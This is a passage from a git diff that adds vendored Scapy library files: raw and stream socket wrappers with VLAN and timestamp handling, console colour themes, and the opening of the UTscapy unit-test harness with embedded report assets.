pkt, sa_ll = sock.recvfrom(x) + return pkt, sa_ll, None + else: + def _recv_raw(self, sock, x): + """Internal function to receive a Packet, + and process ancillary data. + """ + timestamp = None + if not self.auxdata_available: + pkt, _, _, sa_ll = sock.recvmsg(x) + return pkt, sa_ll, timestamp + flags_len = socket.CMSG_LEN(4096) + pkt, ancdata, flags, sa_ll = sock.recvmsg(x, flags_len) + if not pkt: + return pkt, sa_ll, timestamp + for cmsg_lvl, cmsg_type, cmsg_data in ancdata: + # Check available ancillary data + if (cmsg_lvl == SOL_PACKET and cmsg_type == PACKET_AUXDATA): + # Parse AUXDATA + try: + auxdata = tpacket_auxdata.from_buffer_copy(cmsg_data) + except ValueError: + # Note: according to Python documentation, recvmsg() + # can return a truncated message. A ValueError + # exception likely indicates that Auxiliary + # Data is not supported by the Linux kernel. + return pkt, sa_ll, timestamp + if auxdata.tp_vlan_tci != 0 or \ + auxdata.tp_status & TP_STATUS_VLAN_VALID: + # Insert VLAN tag + tag = struct.pack( + "!HH", + ETH_P_8021Q, + auxdata.tp_vlan_tci + ) + pkt = pkt[:12] + tag + pkt[12:] + elif cmsg_lvl == socket.SOL_SOCKET and \ + cmsg_type == SO_TIMESTAMPNS: + length = len(cmsg_data) + if length == 16: # __kernel_timespec + tmp = struct.unpack("ll", cmsg_data) + elif length == 8: # timespec + tmp = struct.unpack("ii", cmsg_data) + else: + log_runtime.warning("Unknown timespec format.. ?!") + continue + timestamp = tmp[0] + tmp[1] * 1e-9 + return pkt, sa_ll, timestamp + + def recv_raw(self, x=MTU): + """Returns a tuple containing (cls, pkt_data, time)""" + return conf.raw_layer, self.ins.recv(x), None + + def recv(self, x=MTU): + cls, val, ts = self.recv_raw(x) + if not val or not cls: + return + try: + pkt = cls(val) + except KeyboardInterrupt: + raise + except Exception: + if conf.debug_dissector: + from scapy.sendrecv import debug + debug.crashed_on = (cls, val) + raise + pkt = conf.raw_layer(val) + if ts: + pkt.time = ts + return pkt + + def fileno(self): + return self.ins.fileno() + + def close(self): + if self.closed: + return + self.closed = True + if getattr(self, "outs", None): + if getattr(self, "ins", None) != self.outs: + if WINDOWS or self.outs.fileno() != -1: + self.outs.close() + if getattr(self, "ins", None): + if WINDOWS or self.ins.fileno() != -1: + self.ins.close() + + def sr(self, *args, **kargs): + from scapy import sendrecv + return sendrecv.sndrcv(self, *args, **kargs) + + def sr1(self, *args, **kargs): + from scapy import sendrecv + a, b = sendrecv.sndrcv(self, *args, **kargs) + if len(a) > 0: + return a[0][1] + else: + return None + + def sniff(self, *args, **kargs): + from scapy import sendrecv + return sendrecv.sniff(opened_socket=self, *args, **kargs) + + def tshark(self, *args, **kargs): + from scapy import sendrecv + return sendrecv.tshark(opened_socket=self, *args, **kargs) + + @staticmethod + def select(sockets, remain=conf.recv_poll_rate): + """This function is called during sendrecv() routine to select + the available sockets. + + :param sockets: an array of sockets that need to be selected + :returns: an array of sockets that were selected and + the function to be called next to get the packets (i.g. recv) + """ + try: + inp, _, _ = select(sockets, [], [], remain) + except (IOError, select_error) as exc: + # select.error has no .errno attribute + if not exc.args or exc.args[0] != errno.EINTR: + raise + return inp, None + + def __del__(self): + """Close the socket""" + self.close() + + def __enter__(self): + return self + + def __exit__(self, exc_type, exc_value, traceback): + """Close the socket""" + self.close() + + +class L3RawSocket(SuperSocket): + desc = "Layer 3 using Raw sockets (PF_INET/SOCK_RAW)" + + def __init__(self, type=ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0): # noqa: E501 + self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) # noqa: E501 + self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1) + self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) # noqa: E501 + self.iface = iface + if iface is not None: + self.ins.bind((self.iface, type)) + if not six.PY2: + try: + # Receive Auxiliary Data (VLAN tags) + self.ins.setsockopt(SOL_PACKET, PACKET_AUXDATA, 1) + self.ins.setsockopt( + socket.SOL_SOCKET, + SO_TIMESTAMPNS, + 1 + ) + self.auxdata_available = True + except OSError: + # Note: Auxiliary Data is only supported since + # Linux 2.6.21 + msg = "Your Linux Kernel does not support Auxiliary Data!" + log_runtime.info(msg) + + def recv(self, x=MTU): + pkt, sa_ll, ts = self._recv_raw(self.ins, x) + if sa_ll[2] == socket.PACKET_OUTGOING: + return None + if sa_ll[3] in conf.l2types: + cls = conf.l2types[sa_ll[3]] + lvl = 2 + elif sa_ll[1] in conf.l3types: + cls = conf.l3types[sa_ll[1]] + lvl = 3 + else: + cls = conf.default_l2 + warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s", sa_ll[0], sa_ll[1], sa_ll[3], cls.name) # noqa: E501 + lvl = 3 + + try: + pkt = cls(pkt) + except KeyboardInterrupt: + raise + except Exception: + if conf.debug_dissector: + raise + pkt = conf.raw_layer(pkt) + if lvl == 2: + pkt = pkt.payload + + if pkt is not None: + if ts is None: + from scapy.arch import get_last_packet_timestamp + ts = get_last_packet_timestamp(self.ins) + pkt.time = ts + return pkt + + def send(self, x): + try: + sx = raw(x) + x.sent_time = time.time() + return self.outs.sendto(sx, (x.dst, 0)) + except socket.error as msg: + log_runtime.error(msg) + + +class SimpleSocket(SuperSocket): + desc = "wrapper around a classic socket" + + def __init__(self, sock): + self.ins = sock + self.outs = sock + + +class StreamSocket(SimpleSocket): + desc = "transforms a stream socket into a layer 2" + nonblocking_socket = True + + def __init__(self, sock, basecls=None): + if basecls is None: + basecls = conf.raw_layer + SimpleSocket.__init__(self, sock) + self.basecls = basecls + + def recv(self, x=MTU): + pkt = self.ins.recv(x, socket.MSG_PEEK) + x = len(pkt) + if x == 0: + return None + pkt = self.basecls(pkt) + pad = pkt.getlayer(conf.padding_layer) + if pad is not None and pad.underlayer is not None: + del(pad.underlayer.payload) + from scapy.packet import NoPayload + while pad is not None and not isinstance(pad, NoPayload): + x -= len(pad.load) + pad = pad.payload + self.ins.recv(x) + return pkt + + +class SSLStreamSocket(StreamSocket): + desc = "similar usage than StreamSocket but specialized for handling SSL-wrapped sockets" # noqa: E501 + + def __init__(self, sock, basecls=None): + self._buf = b"" + super(SSLStreamSocket, self).__init__(sock, basecls) + + # 65535, the default value of x is the maximum length of a TLS record + def recv(self, x=65535): + pkt = None + if self._buf != b"": + try: + pkt = self.basecls(self._buf) + except Exception: + # We assume that the exception is generated by a buffer underflow # noqa: E501 + pass + + if not pkt: + buf = self.ins.recv(x) + if len(buf) == 0: + raise socket.error((100, "Underlying stream socket tore down")) + self._buf += buf + + x = len(self._buf) + pkt = self.basecls(self._buf) + pad = pkt.getlayer(conf.padding_layer) + + if pad is not None and pad.underlayer is not None: + del(pad.underlayer.payload) + while pad is not None and not isinstance(pad, scapy.packet.NoPayload): + x -= len(pad.load) + pad = pad.payload + self._buf = self._buf[x:] + return pkt + + +class L2ListenTcpdump(SuperSocket): + desc = "read packets at layer 2 using tcpdump" + + def __init__(self, iface=None, promisc=None, filter=None, nofilter=False, + prog=None, *arg, **karg): + self.outs = None + args = ['-w', '-', '-s', '65535'] + if iface is None and (WINDOWS or DARWIN): + iface = conf.iface + if WINDOWS: + try: + iface = iface.pcap_name + except AttributeError: + pass + self.iface = iface + if iface is not None: + args.extend(['-i', self.iface]) + if not promisc: + args.append('-p') + if not nofilter: + if conf.except_filter: + if filter: + filter = "(%s) and not (%s)" % (filter, conf.except_filter) + else: + filter = "not (%s)" % conf.except_filter + if filter is not None: + args.append(filter) + self.tcpdump_proc = tcpdump(None, prog=prog, args=args, getproc=True) + self.ins = PcapReader(self.tcpdump_proc.stdout) + + def recv(self, x=MTU): + return self.ins.recv(x) + + def close(self): + SuperSocket.close(self) + self.tcpdump_proc.kill() + + @staticmethod + def select(sockets, remain=None): + if (WINDOWS or DARWIN): + return sockets, None + return SuperSocket.select(sockets, remain=remain) + + +class TunTapInterface(SuperSocket): + """A socket to act as the host's peer of a tun / tap interface. + + """ + desc = "Act as the host's peer of a tun / tap interface" + + def __init__(self, iface=None, mode_tun=None, *arg, **karg): + self.iface = conf.iface if iface is None else iface + self.mode_tun = ("tun" in self.iface) if mode_tun is None else mode_tun + self.closed = True + self.open() + + def open(self): + """Open the TUN or TAP device.""" + if not self.closed: + return + self.outs = self.ins = open( + "/dev/net/tun" if LINUX else ("/dev/%s" % self.iface), "r+b", + buffering=0 + ) + if LINUX: + from fcntl import ioctl + # TUNSETIFF = 0x400454ca + # IFF_TUN = 0x0001 + # IFF_TAP = 0x0002 + # IFF_NO_PI = 0x1000 + ioctl(self.ins, 0x400454ca, struct.pack( + "16sH", bytes_encode(self.iface), + 0x0001 if self.mode_tun else 0x1002, + )) + self.closed = False + + def __call__(self, *arg, **karg): + """Needed when using an instantiated TunTapInterface object for +conf.L2listen, conf.L2socket or conf.L3socket. + + """ + return self + + def recv(self, x=MTU): + if self.mode_tun: + data = os.read(self.ins.fileno(), x + 4) + proto = struct.unpack('!H', data[2:4])[0] + return conf.l3types.get(proto, conf.raw_layer)(data[4:]) + return conf.l2types.get(1, conf.raw_layer)( + os.read(self.ins.fileno(), x) + ) + + def send(self, x): + sx = raw(x) + if self.mode_tun: + try: + proto = conf.l3types[type(x)] + except KeyError: + log_runtime.warning( + "Cannot find layer 3 protocol value to send %s in " + "conf.l3types, using 0", + x.name if hasattr(x, "name") else type(x).__name__ + ) + proto = 0 + sx = struct.pack('!HH', 0, proto) + sx + try: + try: + x.sent_time = time.time() + except AttributeError: + pass + return os.write(self.outs.fileno(), sx) + except socket.error: + log_runtime.error("%s send", self.__class__.__name__, exc_info=True) # noqa: E501 diff --git a/libs/scapy/themes.py b/libs/scapy/themes.py new file mode 100755 index 0000000..4d7a38f --- /dev/null +++ b/libs/scapy/themes.py @@ -0,0 +1,395 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Color themes for the interactive console. +""" + +################## +# Color themes # +################## + +import cgi +import sys + + +class ColorTable: + colors = { # Format: (ansi, pygments) + # foreground + "black": ("\033[30m", "#ansiblack"), + "red": ("\033[31m", "#ansired"), + "green": ("\033[32m", "#ansigreen"), + "yellow": ("\033[33m", "#ansiyellow"), + "blue": ("\033[34m", "#ansiblue"), + "purple": ("\033[35m", "#ansipurple"), + "cyan": ("\033[36m", "#ansicyan"), + "grey": ("\033[37m", "#ansiwhite"), + "reset": ("\033[39m", "noinherit"), + # background + "bg_black": ("\033[40m", "bg:#ansiblack"), + "bg_red": ("\033[41m", "bg:#ansired"), + "bg_green": ("\033[42m", "bg:#ansigreen"), + "bg_yellow": ("\033[43m", "bg:#ansiyellow"), + "bg_blue": ("\033[44m", "bg:#ansiblue"), + "bg_purple": ("\033[45m", "bg:#ansipurple"), + "bg_cyan": ("\033[46m", "bg:#ansicyan"), + "bg_grey": ("\033[47m", "bg:#ansiwhite"), + "bg_reset": ("\033[49m", "noinherit"), + # specials + "normal": ("\033[0m", "noinherit"), # color & brightness + "bold": ("\033[1m", "bold"), + "uline": ("\033[4m", "underline"), + "blink": ("\033[5m", ""), + "invert": ("\033[7m", ""), + } + + def __repr__(self): + return "" + + def __getattr__(self, attr): + return self.colors.get(attr, [""])[0] + + def ansi_to_pygments(self, x): # Transform ansi encoded text to Pygments text # noqa: E501 + inv_map = {v[0]: v[1] for k, v in self.colors.items()} + for k, v in inv_map.items(): + x = x.replace(k, " " + v) + return x.strip() + + +Color = ColorTable() + + +def create_styler(fmt=None, before="", after="", fmt2="%s"): + def do_style(val, fmt=fmt, before=before, after=after, fmt2=fmt2): + if fmt is None: + if not isinstance(val, str): + val = str(val) + else: + val = fmt % val + return fmt2 % (before + val + after) + return do_style + + +class ColorTheme: + def __repr__(self): + return "<%s>" % self.__class__.__name__ + + def __reduce__(self): + return (self.__class__, (), ()) + + def __getattr__(self, attr): + if attr in ["__getstate__", "__setstate__", "__getinitargs__", + "__reduce_ex__"]: + raise AttributeError() + return create_styler() + + def format(self, string, fmt): + for style in fmt.split("+"): + string = getattr(self, style)(string) + return string + + +class NoTheme(ColorTheme): + pass + + +class AnsiColorTheme(ColorTheme): + def __getattr__(self, attr): + if attr.startswith("__"): + raise AttributeError(attr) + s = "style_%s" % attr + if s in self.__class__.__dict__: + before = getattr(self, s) + after = self.style_normal + elif not isinstance(self, BlackAndWhite) and attr in Color.colors: + before = Color.colors[attr][0] + after = Color.colors["normal"][0] + else: + before = after = "" + + return create_styler(before=before, after=after) + + style_normal = "" + style_prompt = "" + style_punct = "" + style_id = "" + style_not_printable = "" + style_layer_name = "" + style_field_name = "" + style_field_value = "" + style_emph_field_name = "" + style_emph_field_value = "" + style_packetlist_name = "" + style_packetlist_proto = "" + style_packetlist_value = "" + style_fail = "" + style_success = "" + style_odd = "" + style_even = "" + style_opening = "" + style_active = "" + style_closed = "" + style_left = "" + style_right = "" + style_logo = "" + + +class BlackAndWhite(AnsiColorTheme, NoTheme): + pass + + +class DefaultTheme(AnsiColorTheme): + style_normal = Color.normal + style_prompt = Color.blue + Color.bold + style_punct = Color.normal + style_id = Color.blue + Color.bold + style_not_printable = Color.grey + style_layer_name = Color.red + Color.bold + style_field_name = Color.blue + style_field_value = Color.purple + style_emph_field_name = Color.blue + Color.uline + Color.bold + style_emph_field_value = Color.purple + Color.uline + Color.bold + style_packetlist_name = Color.red + Color.bold + style_packetlist_proto = Color.blue + style_packetlist_value = Color.purple + style_fail = Color.red + Color.bold + style_success = Color.blue + Color.bold + style_even = Color.black + Color.bold + style_odd = Color.black + style_opening = Color.yellow + style_active = Color.black + style_closed = Color.grey + style_left = Color.blue + Color.invert + style_right = Color.red + Color.invert + style_logo = Color.green + Color.bold + + +class BrightTheme(AnsiColorTheme): + style_normal = Color.normal + style_punct = Color.normal + style_id = Color.yellow + Color.bold + style_layer_name = Color.red + Color.bold + style_field_name = Color.yellow + Color.bold + style_field_value = Color.purple + Color.bold + style_emph_field_name = Color.yellow + Color.bold + style_emph_field_value = Color.green + Color.bold + style_packetlist_name = Color.red + Color.bold + style_packetlist_proto = Color.yellow + Color.bold + style_packetlist_value = Color.purple + Color.bold + style_fail = Color.red + Color.bold + style_success = Color.blue + Color.bold + style_even = Color.black + Color.bold + style_odd = Color.black + style_left = Color.cyan + Color.invert + style_right = Color.purple + Color.invert + style_logo = Color.green + Color.bold + + +class RastaTheme(AnsiColorTheme): + style_normal = Color.normal + Color.green + Color.bold + style_prompt = Color.yellow + Color.bold + style_punct = Color.red + style_id = Color.green + Color.bold + style_not_printable = Color.green + style_layer_name = Color.red + Color.bold + style_field_name = Color.yellow + Color.bold + style_field_value = Color.green + Color.bold + style_emph_field_name = Color.green + style_emph_field_value = Color.green + style_packetlist_name = Color.red + Color.bold + style_packetlist_proto = Color.yellow + Color.bold + style_packetlist_value = Color.green + Color.bold + style_fail = Color.red + style_success = Color.red + Color.bold + style_even = Color.yellow + style_odd = Color.green + style_left = Color.yellow + Color.invert + style_right = Color.red + Color.invert + style_logo = Color.green + Color.bold + + +class ColorOnBlackTheme(AnsiColorTheme): + """Color theme for black backgrounds""" + style_normal = Color.normal + style_prompt = Color.green + Color.bold + style_punct = Color.normal + style_id = Color.green + style_not_printable = Color.black + Color.bold + style_layer_name = Color.yellow + Color.bold + style_field_name = Color.cyan + style_field_value = Color.purple + Color.bold + style_emph_field_name = Color.cyan + Color.bold + style_emph_field_value = Color.red + Color.bold + style_packetlist_name = Color.black + Color.bold + style_packetlist_proto = Color.yellow + Color.bold + style_packetlist_value = Color.purple + Color.bold + style_fail = Color.red + Color.bold + style_success = Color.green + style_even = Color.black + Color.bold + style_odd = Color.grey + style_opening = Color.yellow + style_active = Color.grey + Color.bold + style_closed = Color.black + Color.bold + style_left = Color.cyan + Color.bold + style_right = Color.red + Color.bold + style_logo = Color.green + Color.bold + + +class FormatTheme(ColorTheme): + def __getattr__(self, attr): + if attr.startswith("__"): + raise AttributeError(attr) + colfmt = self.__class__.__dict__.get("style_%s" % attr, "%s") + return create_styler(fmt2=colfmt) + + +class LatexTheme(FormatTheme): + style_prompt = r"\textcolor{blue}{%s}" + style_not_printable = r"\textcolor{gray}{%s}" + style_layer_name = r"\textcolor{red}{\bf %s}" + style_field_name = r"\textcolor{blue}{%s}" + style_field_value = r"\textcolor{purple}{%s}" + style_emph_field_name = r"\textcolor{blue}{\underline{%s}}" # ul + style_emph_field_value = r"\textcolor{purple}{\underline{%s}}" # ul + style_packetlist_name = r"\textcolor{red}{\bf %s}" + style_packetlist_proto = r"\textcolor{blue}{%s}" + style_packetlist_value = r"\textcolor{purple}{%s}" + style_fail = r"\textcolor{red}{\bf %s}" + style_success = r"\textcolor{blue}{\bf %s}" + style_left = r"\textcolor{blue}{%s}" + style_right = r"\textcolor{red}{%s}" +# style_even = r"}{\bf " +# style_odd = "" + style_logo = r"\textcolor{green}{\bf %s}" + + +class LatexTheme2(FormatTheme): + style_prompt = r"@`@textcolor@[@blue@]@@[@%s@]@" + style_not_printable = r"@`@textcolor@[@gray@]@@[@%s@]@" + style_layer_name = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@" + style_field_name = r"@`@textcolor@[@blue@]@@[@%s@]@" + style_field_value = r"@`@textcolor@[@purple@]@@[@%s@]@" + style_emph_field_name = r"@`@textcolor@[@blue@]@@[@@`@underline@[@%s@]@@]@" + style_emph_field_value = r"@`@textcolor@[@purple@]@@[@@`@underline@[@%s@]@@]@" # noqa: E501 + style_packetlist_name = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@" + style_packetlist_proto = r"@`@textcolor@[@blue@]@@[@%s@]@" + style_packetlist_value = r"@`@textcolor@[@purple@]@@[@%s@]@" + style_fail = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@" + style_success = r"@`@textcolor@[@blue@]@@[@@`@bfserices@[@@]@%s@]@" + style_even = r"@`@textcolor@[@gray@]@@[@@`@bfseries@[@@]@%s@]@" +# style_odd = r"@`@textcolor@[@black@]@@[@@`@bfseries@[@@]@%s@]@" + style_left = r"@`@textcolor@[@blue@]@@[@%s@]@" + style_right = r"@`@textcolor@[@red@]@@[@%s@]@" + style_logo = r"@`@textcolor@[@green@]@@[@@`@bfseries@[@@]@%s@]@" + + +class HTMLTheme(FormatTheme): + style_prompt = "%s" + style_not_printable = "%s" + style_layer_name = "%s" + style_field_name = "%s" + style_field_value = "%s" + style_emph_field_name = "%s" + style_emph_field_value = "%s" + style_packetlist_name = "%s" + style_packetlist_proto = "%s" + style_packetlist_value = "%s" + style_fail = "%s" + style_success = "%s" + style_even = "%s" + style_odd = "%s" + style_left = "%s" + style_right = "%s" + + +class HTMLTheme2(HTMLTheme): + style_prompt = "#[#span class=prompt#]#%s#[#/span#]#" + style_not_printable = "#[#span class=not_printable#]#%s#[#/span#]#" + style_layer_name = "#[#span class=layer_name#]#%s#[#/span#]#" + style_field_name = "#[#span class=field_name#]#%s#[#/span#]#" + style_field_value = "#[#span class=field_value#]#%s#[#/span#]#" + style_emph_field_name = "#[#span class=emph_field_name#]#%s#[#/span#]#" + style_emph_field_value = "#[#span class=emph_field_value#]#%s#[#/span#]#" + style_packetlist_name = "#[#span class=packetlist_name#]#%s#[#/span#]#" + style_packetlist_proto = "#[#span class=packetlist_proto#]#%s#[#/span#]#" + style_packetlist_value = "#[#span class=packetlist_value#]#%s#[#/span#]#" + style_fail = "#[#span class=fail#]#%s#[#/span#]#" + style_success = "#[#span class=success#]#%s#[#/span#]#" + style_even = "#[#span class=even#]#%s#[#/span#]#" + style_odd = "#[#span class=odd#]#%s#[#/span#]#" + style_left = "#[#span class=left#]#%s#[#/span#]#" + style_right = "#[#span class=right#]#%s#[#/span#]#" + + +def apply_ipython_style(shell): + """Updates the specified IPython console shell with + the conf.color_theme scapy theme.""" + try: + from IPython.terminal.prompts import Prompts, Token + except Exception: + from scapy.error import log_loading + log_loading.warning( + "IPython too old. Shell color won't be handled." + ) + return + from scapy.config import conf + scapy_style = {} + # Overwrite colors + if isinstance(conf.color_theme, NoTheme): + shell.colors = 'nocolor' + elif isinstance(conf.color_theme, BrightTheme): + # lightbg is optimized for light backgrounds + shell.colors = 'lightbg' + elif isinstance(conf.color_theme, ColorOnBlackTheme): + # linux is optimised for dark backgrounds + shell.colors = 'linux' + else: + # default + shell.colors = 'neutral' + try: + get_ipython() + # This function actually contains tons of hacks + color_magic = shell.magics_manager.magics["line"]["colors"] + color_magic(shell.colors) + except NameError: + pass + # Prompt Style + if isinstance(conf.prompt, Prompts): + # Set custom prompt style + shell.prompts_class = conf.prompt + else: + if isinstance(conf.color_theme, (FormatTheme, NoTheme)): + # Formatable + if isinstance(conf.color_theme, HTMLTheme): + prompt = cgi.escape(conf.prompt) + elif isinstance(conf.color_theme, LatexTheme): + from scapy.utils import tex_escape + prompt = tex_escape(conf.prompt) + else: + prompt = conf.prompt + prompt = conf.color_theme.prompt(prompt) + else: + # Needs to be manually set + prompt = str(conf.prompt) + scapy_style[Token.Prompt] = Color.ansi_to_pygments( + conf.color_theme.style_prompt + ) + + class ClassicPrompt(Prompts): + def in_prompt_tokens(self, cli=None): + return [(Token.Prompt, prompt), ] + + def out_prompt_tokens(self): + return [(Token.OutPrompt, ''), ] + # Apply classic prompt style + shell.prompts_class = ClassicPrompt + sys.ps1 = prompt + # Register scapy color style + shell.highlighting_style_overrides = scapy_style + # Apply if Live + try: + get_ipython().refresh_style() + except NameError: + pass diff --git a/libs/scapy/tools/UTscapy.py b/libs/scapy/tools/UTscapy.py new file mode 100755 index 0000000..a5db6e9 --- /dev/null +++ b/libs/scapy/tools/UTscapy.py @@ -0,0 +1,1119 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Unit testing infrastructure for Scapy +""" + +from __future__ import print_function +import bz2 +import copy +import code +import getopt +import glob +import hashlib +import importlib +import json +import logging +import os.path +import sys +import time +import traceback +import warnings +import zlib + +from scapy.consts import WINDOWS +import scapy.modules.six as six +from scapy.modules.six.moves import range +from scapy.config import conf +from scapy.compat import base64_bytes, bytes_hex, plain_str + +# Util class # + + +class Bunch: + __init__ = lambda self, **kw: setattr(self, '__dict__', kw) + + +def retry_test(func): + """Retries the passed function 3 times before failing""" + success = False + ex = Exception("Unknown") + for _ in six.moves.range(3): + try: + result = func() + except Exception as e: + time.sleep(1) + ex = e + else: + success = True + break + if not success: + raise ex + assert success + return result + +# Import tool # + + +def import_module(name): + if name.endswith(".py"): + name = name[:-3] + try: + return importlib.import_module(name, package="scapy") + except Exception: + return importlib.import_module(name) + + +# INTERNAL/EXTERNAL FILE EMBEDDING # + +class File: + def __init__(self, name, URL, local): + self.name = name + self.local = local.encode("utf8") + self.URL = URL + + def get_local(self): + return bz2.decompress(base64_bytes(self.local)) + + def get_URL(self): + return self.URL + + def write(self, dir): + if dir: + dir += "/" + with open(dir + self.name, "wb") as fdesc: + fdesc.write(self.get_local()) + + +# Embed a base64 encoded bziped version of js and css files +# to work if you can't reach Internet. +class External_Files: + UTscapy_js = File("UTscapy.js", "https://scapy.net/files/UTscapy/UTscapy.js", # noqa: E501 + """QlpoOTFBWSZTWWVijKQAAXxfgERUYOvAChIhBAC +/79+qQAH8AFA0poANAMjQAAAGABo0NGEZNBo0\n0BhgAaNDRhGTQaNNAYFURJinp +lGaKbRkJiekzSenqmpA0Gm1LFMpRUklVQlK9WUTZYpNFI1IiEWE\nFT09Sfj5uO+ +qO6S5DQwKIxM92+Zku94wL6V/1KTKan2c66Ug6SmVKy1ZIrgauxMVLF5xLH0lJRQ +u\nKlqLF10iatlTzqvw7S9eS3+h4lu3GZyMgoOude3NJ1pQy8eo+X96IYZw+yneh +siPj73m0rnvQ3QX\nZ9BJQiZQYQ5/uNcl2WOlC5vyQqV/BWsnr2NZYLYXQLDs/Bf +fk4ZfR4/SH6GfA5Xlek4xHNHqbSsR\nbREOgueXo3kcYi94K6hSO3ldD2O/qJXOF +qJ8o3TE2aQahxtQpCVUKQMvODHwu2YkaORYZC6gihEa\nllcHDIAtRPScBACAJnU +ggYhLDX6DEko7nC9GvAw5OcEkiyDUbLdiGCzDaXWMC2DuQ2Y6sGf6NcRu\nON7QS +bhHsPc4KKmZ/xdyRThQkGVijKQ=\n""") + UTscapy_css = File("UTscapy.css", "https://scapy.net/files/UTscapy/UTscapy.css", # noqa: E501 + """QlpoOTFBWSZTWbpATIwAAFpfgHwQSB//+Cpj2Q +C//9/6UAS5t7qcLut3NNDp0gxKMmpqaep6n6iP\n1J+pPU0yAAaeoaDI0BJCTJqa +j1BoaGhoAAPSAAAJNSRqmmk8TQmj1DT1Hom1HkQABoNDmmJgATAB\nMAAJgACYJI +hDQUzCR5Q0niRoaAGgGmZS+faw7LNbkliDG1Q52WJCd85cxRVVKegld8qCRISoto +GD\nEGREFEYRW0CxAgTb13lodjuN7E1aCFgRFVhiEmZAZ/ek+XR0c8DWiAKpBgY2 +LNpQ1rOvlnoUI1Al\n0ySaP1w2MyFxoQqRicScCm6WnQOxDnufxk8s2deLLKlN+r +fvxyTTCGRAWZONkVGIxVQRZGZLeAwH\nbpQXZcYj467i85knEOYWmLcokaqEGYGS +xMCpD+cOIaL7GCxEU/aNSlWFNCvQBvzb915huAgdIdD2\nya9ZQGoqrmtommfAxu +7FGTDBNBfir9UkAMmT1KRzxasJ0n2OE+mlgTZzJnhydbJaMtAk8DJzUuvv\nZpc3 +CJLVyr8F3NmIQO5E3SJSY3SQnk1CQwlELqFutXjeWWzmiywo7xJk5rUcVOV9+Ro4 +96WmXsUr\nkKhNocbnFztqPhesccW5kja+KuNFmzdw4DVOBJ2JPhGOYSwCUiwUe2 +kOshYBdULUmwYwToAGdgA9\n5n3bSpG85LUFIE0Cw78EYVgY0ESnYW5UdfgBhj1w +PiiXDEG2vAtr38O9kdwg3tFU/0okilEjDYDa\nEfkomkLUSokmE8g1fMYBqQyyaP +RWmySO3EtAuMVhQqIuMldOzLqWubl7k1MnhuBaELOgtB2TChcS\n0k7jvgdBKIef +UkdAf3t2GO/LVSrDvkcb4l4TrwrI7JeCo8pBvXqZBqZJSqbsAziG7QDQVNqdtFGz +\nEvMKOvKvUQ6mJFigLxBnziGQGQDEMQPSGhlV2BwAN6rZEmLwgED0OrEiSxXDcB +MDskp36AV7IbKa\nCila/Wm1BKhBF+ZIqtiFyYpUhI1Q5+JK0zK7aVyLS9y7GaSr +NCRpr7uaa1UgapVKs6wKKQzYCWsV\n8iCGrAkgWZEnDMJWCGUZOIpcmMle1UXSAl +d5OoUYXNo0L7WSOcxEkSGjCcRhjvMRP1pAUuBPRCRA\n2lhC0ZgLYDAf5V2agMUa +ki1ZgOQDXQ7aIDTdjGRTgnzPML0V1X+tIoSSZmZhrxZbluMWGEkwwky6\n0ObWIM +cEbX4cawPPBVc6m5UUPbEmBANyjtNvTKE2ri7oOmBVKIMLqQKm+4rlmisu2uGSxW +zTov5w\nqQDp61FkHk40wzQUKk4YcBlbQT1l8VXeZJYAVFjSJIcC8JykBYZJ1yka +I4LDm5WP7s2NaRkhhV7A\nFVSD5zA8V/DJzfTk0QHmCT2wRgwPKjP60EqqlDUaST +/i7kinChIXSAmRgA==\n""") + + def get_local_dict(cls): + return {x: y.name for (x, y) in six.iteritems(cls.__dict__) + if isinstance(y, File)} + get_local_dict = classmethod(get_local_dict) + + def get_URL_dict(cls): + return {x: y.URL for (x, y) in six.iteritems(cls.__dict__) + if isinstance(y, File)} + get_URL_dict = classmethod(get_URL_dict) + + +# HELPER CLASSES FOR PARAMETRING OUTPUT FORMAT # + +class EnumClass: + def from_string(cls, x): + return cls.__dict__[x.upper()] + from_string = classmethod(from_string) + + +class Format(EnumClass): + TEXT = 1 + ANSI = 2 + HTML = 3 + LATEX = 4 + XUNIT = 5 + LIVE = 6 + + +# TEST CLASSES # + +class TestClass: + def __getitem__(self, item): + return getattr(self, item) + + def add_keywords(self, kws): + if isinstance(kws, six.string_types): + kws = [kws.lower()] + for kwd in kws: + kwd = kwd.lower() + if kwd.startswith('-'): + try: + self.keywords.remove(kwd[1:]) + except KeyError: + pass + else: + self.keywords.add(kwd) + + +class TestCampaign(TestClass): + def __init__(self, title): + self.title = title + self.filename = None + self.headcomments = "" + self.campaign = [] + self.keywords = set() + self.crc = None + self.sha = None + self.preexec = None + self.preexec_output = None + self.end_pos = 0 + self.interrupted = False + self.duration = 0.0 + + def add_testset(self, testset): + self.campaign.append(testset) + testset.keywords.update(self.keywords) + + def trunc(self, index): + self.campaign = self.campaign[:index] + + def startNum(self, beginpos): + for ts in self: + for t in ts: + t.num = beginpos + beginpos += 1 + self.end_pos = beginpos + + def __iter__(self): + return self.campaign.__iter__() + + def all_tests(self): + for ts in self: + for t in ts: + yield t + + +class TestSet(TestClass): + def __init__(self, name): + self.name = name + self.tests = [] + self.comments = "" + self.keywords = set() + self.crc = None + self.expand = 1 + + def add_test(self, test): + self.tests.append(test) + test.keywords.update(self.keywords) + + def trunc(self, index): + self.tests = self.tests[:index] + + def __iter__(self): + return self.tests.__iter__() + + +class UnitTest(TestClass): + def __init__(self, name): + self.name = name + self.test = "" + self.comments = "" + self.result = "passed" + # make instance True at init to have a different truth value than None + self.duration = 0 + self.output = "" + self.num = -1 + self.keywords = set() + self.crc = None + self.expand = 1 + + def decode(self): + if six.PY2: + self.test = self.test.decode("utf8", "ignore") + self.output = self.output.decode("utf8", "ignore") + self.comments = self.comments.decode("utf8", "ignore") + self.result = self.result.decode("utf8", "ignore") + + def __nonzero__(self): + return self.result == "passed" + __bool__ = __nonzero__ + + +# Careful note: all data not included will be set by default. +# Use -c as first argument !! +def parse_config_file(config_path, verb=3): + """Parse provided 